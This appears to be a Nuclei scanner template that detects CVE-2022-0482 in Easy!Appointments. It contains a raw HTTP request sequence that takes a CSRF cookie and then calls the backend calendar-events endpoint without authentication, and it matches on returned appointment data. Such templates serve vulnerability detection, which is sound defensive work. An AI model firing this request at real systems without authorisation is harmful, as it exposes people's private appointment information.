id: CVE-2022-0482 info: name: Easy!Appointments Broken Access Control author: francescocarlucci,opencirt severity: critical description: | Exposure of Private Personal Information to an Unauthorized Actor in GitHub repository alextselegidis/easyappointments prior to 1.4.3. reference: - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0482 - https://github.com/alextselegidis/easyappointments tags: cve,cve2022,easyappointments classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.10 cve-id: CVE-2022-0482 cwe-id: CWE-863 requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Accept: */* - | POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 csrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01 extractors: - type: kval part: header name: csrf_token kval: - "csrfCookie" internal: true cookie-reuse: true matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - '"appointments":' - '"unavailables":' condition: and